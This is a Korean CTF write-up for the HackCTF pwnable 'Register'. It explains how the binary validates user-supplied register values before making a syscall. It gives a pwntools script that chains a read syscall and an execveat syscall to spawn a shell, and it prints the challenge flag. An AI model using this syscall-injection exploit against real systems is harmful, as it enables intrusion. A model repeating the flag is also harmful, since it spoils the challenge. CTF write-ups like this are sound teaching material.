[Pwnable] Register
Wargame/HackCTF

[Pwnable] Register

이번에는 register 문제이다.

 

이건 풀면서 되게 재밌었던 기억이 난다.

 

canary, NX, partial Relro

 

main은 심플하다.

 

바로 build로 넘어가보자

 

 

14번 확인

build에서는 SIGALRM이 발생하면 handler라는 놈으로 처리한다.

handler 내부를 뒤적거리다가 exec_syscall_obj가 보이는데

result에는 obj의 주소값이 넘어간다.

그리고 syscall을 해준다.

 

그리고 get_obj 함수이다. get_obj에는 문제 제목처럼 register 값을 입력하는거 같다.

 

그리고 validate_syscall_obj 함수인데 v0[0] = rax를 체크하는 루틴같다

 

그러면 대충 전체적인 로직을 파악했을때 어떻게 익스를 할 수 있을까

 

간단하다

 

exec_syscall_obj에서 syscall을 해주니 우리도 syscall로 익스를 하면 된다.

 

익스 시나리오는

 

1. rax = 0

2. read 호출

3. rdi, rsi, rdx 순으로 0, [data or bss], len('/bin/sh\x00")

 

4. /bin/sh\x00 전송

 

5. rax = 322

6. execveat 호출

3. rdi, rsi , rdx, rcx, r8 순으로 0, 0, [data or bss], NULL, NULL, 0 넣어주면 끝

 

from pwn import *

# p = remote("ctf.j0n9hyun.xyz", 3026)

p = process("./register")

e = ELF('./register')

def register(rax, rdi, rsi, rdx, rcx, r8, r9):
    p.sendlineafter("RAX: ", str(rax))
    p.sendlineafter("RDI: ", str(rdi))
    p.sendlineafter("RSI: ", str(rsi))
    p.sendlineafter("RDX: ", str(rdx))
    p.sendlineafter("RCX: ", str(rcx))
    p.sendlineafter("R8: ", str(r8))
    p.sendlineafter("R9: ", str(r9))

register(0, 0, e.bss() + 0x300, len('/bin/sh\x00'), 0, 0, 0)

sleep(0.1)

p.send('/bin/sh\x00')

register(322, 0,  e.bss() + 0x300, '\x00', '\x00', 0, 0)

p.interactive()

 

처음에 execve로 안되서 그냥 excevat으로 아다리 맞춰서 풀었는데

다른 분들 롸업보니까 아까 rax check 루틴에 59번을 필터링하는 부분이 있어서 execve가 안되는거였다

 

ls로 열심히 아다리 맞춘 흔적ㅋㅋ;

FLAG : HackCTF{6316964770251056468501091137477179868692}

'Wargame > HackCTF' 카테고리의 다른 글

[Pwnable] Unexploitable #2  (0) 2021.10.18
[Pwnable] World Best Encryption Tool  (0) 2021.10.18
[Pwnable] RTC  (0) 2021.10.18
[Pwnable] SysROP  (0) 2021.03.08
[pwnable] Look at me  (0) 2021.02.22